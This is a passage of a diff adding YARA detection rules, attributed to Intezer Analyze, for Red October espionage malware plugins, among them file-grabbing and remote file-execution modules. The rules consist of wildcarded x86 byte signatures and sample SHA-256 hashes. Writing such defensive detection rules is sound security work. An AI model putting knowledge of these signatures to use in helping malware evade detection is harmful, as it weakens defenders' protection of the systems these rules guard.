?? 8B ?? ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 4? 8B ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 33 ?? BB ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 0F 85 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? A1 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_6 = { 83 ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? B9 ?? ?? ?? ?? 4? BE ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_7 = { B8 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 4? 4? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? 4? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 4? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_8 = { 4? 00 ?? ?? 4? 5? 33 ?? 2E ?? 4? 4? 00 ?? 01 ?? 03 ?? ?? ?? ?? ?? ?? 0A ?? 0C ?? 0E 0F 10 ?? 12 ?? 14 ?? 16 17 18 ?? 1A ?? 1C ?? 1E 1F 20 ?? 22 ?? 24 ?? 26 ?? 28 ?? 2A ?? 2C ?? 2E ?? 30 ?? 32 ?? 34 ?? 36 ?? 38 ?? 3A ?? 3C ?? 3E ?? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 60 61 62 ?? ?? 65 ?? ?? ?? ?? ?? 6B ?? ?? ?? ?? 70 }
+		$block_9 = { 14 ?? 16 17 18 ?? 1A ?? 1C ?? 1E 1F 20 ?? 22 ?? 24 ?? 26 ?? 28 ?? 2A ?? 2C ?? 2E ?? 30 ?? 32 ?? 34 ?? 36 ?? 38 ?? 3A ?? 3C ?? 3E ?? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 4? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 60 61 62 ?? ?? 65 ?? ?? ?? ?? ?? 6B ?? ?? ?? ?? 70 }
+
+	condition:
+		hash.sha256(0, filesize) == "2378ad529852c05da10c15e4b3fda00c4a818bef463a20c03e6330150bd4df21" or
+		hash.sha256(0, filesize) == "5d6c6c542ca29d9c756b9f440863152f4c8c5f1ddb5732b0adbca82074a2a4c0" or
+		hash.sha256(0, filesize) == "5e9de30527a893d114330b48b90c49bcc4c6e00bfbfd6a473a48f70c8ef6aa0b" or
+		hash.sha256(0, filesize) == "80f47c05bae10b97d298bf6aaacc0906c05fd0b77275543bc8c4f9bf8ff60a59" or
+		10 of them
+}
+
+rule RedOctoberPluginGetFileReg {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 0F B6 ?? 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? 8A ?? 0F B6 ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_1 = { 0F B6 ?? ?? 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? D3 ?? 83 ?? ?? 89 ?? ?? ?? 0B ?? 8B ?? ?? ?? 3B ?? 7E }
+		$block_2 = { 8B ?? 0F B6 ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? 03 ?? 33 ?? 81 C? ?? ?? ?? ?? 4? 89 ?? 80 3? ?? 75 }
+		$block_3 = { 8B ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 8E }
+		$block_4 = { 8B ?? ?? ?? 2B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 0F AF ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 }
+		$block_5 = { 33 ?? 83 ?? ?? 0F 95 ?? 5? 83 ?? ?? 83 ?? ?? 03 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 8C }
+		$block_6 = { 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 8B ?? ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 33 ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 83 ?? ?? D3 ?? 83 ?? ?? 0B ?? 3B ?? 7E }
+		$block_10 = { 8B ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F B6 ?? F6 ?? ?? ?? 89 ?? ?? ?? 74 }
+		$block_11 = { 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 95 ?? 89 ?? 8B }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_13 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 33 ?? 4? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_15 = { 5? 8B ?? 5? 5? 83 ?? ?? ?? 83 ?? ?? ?? 5? 8B ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_17 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_18 = { 0F B6 ?? 8A ?? ?? 8B ?? ?? 30 ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 0F 8C }
+		$block_19 = { 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_21 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_22 = { 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_23 = { 83 ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_24 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? 83 ?? ?? 0F B6 }
+		$block_25 = { 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_26 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? FF 2? }
+		$block_27 = { 8B ?? ?? ?? 03 ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 89 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? ?? 9? 3B ?? ?? ?? BA ?? ?? ?? ?? 0F 83 }
+		$block_29 = { 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_30 = { 8B ?? ?? 5? 33 ?? 5? 33 ?? 4? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_31 = { 5? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_32 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 33 ?? 3C ?? 0F 94 ?? BB ?? ?? ?? ?? 89 ?? ?? ?? E9 }
+		$block_34 = { 8B ?? ?? ?? ?? ?? 23 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_35 = { 39 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 0F B6 ?? 0F 84 }
+		$block_36 = { 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? 5? 66 ?? ?? 0F 85 }
+		$block_37 = { 0F B6 ?? ?? 8D ?? ?? B1 ?? 84 ?? ?? ?? ?? ?? 74 }
+		$block_38 = { 33 ?? 39 ?? ?? ?? 0F 9D ?? 03 ?? 3B ?? ?? ?? 76 }
+		$block_39 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "6ce873a31d527fc123bed28841737cb201b0cb5f347e0e530dda34a7b62c1f5e" or
+		12 of them
+}
+
+rule RedOctoberPluginSystemInfo {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_1 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_2 = { 5? 83 ?? ?? ?? ?? 8B ?? ?? ?? 5? 5? 8B ?? ?? ?? C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? 0F 84 }
+		$block_3 = { 5? 5? 8B ?? 5? 8B ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 8E }
+		$block_4 = { 8B ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? B9 ?? ?? ?? ?? 33 ?? F3 ?? 0F 84 }
+		$block_5 = { 68 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 2B ?? 85 ?? 89 ?? ?? ?? 0F 8F }
+		$block_6 = { 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_7 = { 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? C1 ?? ?? 03 ?? 0B ?? 83 ?? ?? 0F B6 }
+		$block_8 = { 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_9 = { 5? 8A ?? ?? 8D ?? ?? 0F B6 ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_10 = { 8B ?? ?? ?? 2B ?? 8B ?? 33 ?? 2B ?? 85 ?? 89 ?? ?? ?? 0F 8E }
+		$block_11 = { 8B ?? ?? ?? 3B ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? 0F 84 }
+		$block_12 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_13 = { 5? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 5? 8B ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 ?? 5? }
+		$block_15 = { 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 85 ?? 0F 8F }
+		$block_16 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "ad768f49895c295086ad289804f25d16710231446ffdd82b3b9e6e92c237825a" or
+		12 of them
+}
+
+rule RedOctoberPluginInternetConnectivity {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C6 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_1 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_2 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_7 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_8 = { 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_9 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_12 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_13 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "5a3684d67f5dd4bca879f376e086476dbd27689bd1c1daa6acbbde339fb6ccca" or
+		12 of them
+}
+
+rule RedOctoberPluginFileputexec {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_1 = { 68 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_3 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_5 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_7 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_12 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_13 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_14 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_15 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_17 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_18 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_19 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_20 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_21 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_22 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_23 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_24 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "b596d4e58b5af33fb4380d4663454f4e3196d86e18390edb8c6f77485be8e7be" or
+		12 of them
+}
+
+rule RedOctoberPluginFileInfo {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 68 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_2 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 8B ?? ?? 33 ?? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 8D ?? ?? 5? 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_5 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_6 = { 8B ?? ?? C1 ?? ?? 6A ?? 83 ?? ?? 5? FF 7? ?? 8B ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_7 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_8 = { 8B ?? ?? 33 ?? 6A ?? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? 3B ?? 74 }
+		$block_9 = { 8D ?? ?? 5? 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_10 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F AF ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? EB }
+		$block_11 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? 7C }
+		$block_12 = { 0F B6 ?? ?? 0F B6 ?? ?? 83 ?? ?? ?? C1 ?? ?? 0B ?? 33 ?? 80 F? ?? 0F 94 ?? 89 ?? ?? EB }
+		$block_13 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_14 = { 8B ?? ?? 89 ?? ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 03 ?? 80 3? ?? 74 }
+		$block_15 = { 8B ?? ?? 03 ?? ?? 89 ?? ?? 83 ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 33 ?? 5? 33 ?? 4? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_17 = { 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 8A ?? ?? ?? ?? ?? 4? 88 ?? 3B ?? ?? ?? ?? ?? 75 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_19 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_20 = { 8B ?? ?? 8D ?? ?? 8A ?? 88 ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? F6 ?? ?? ?? 75 }
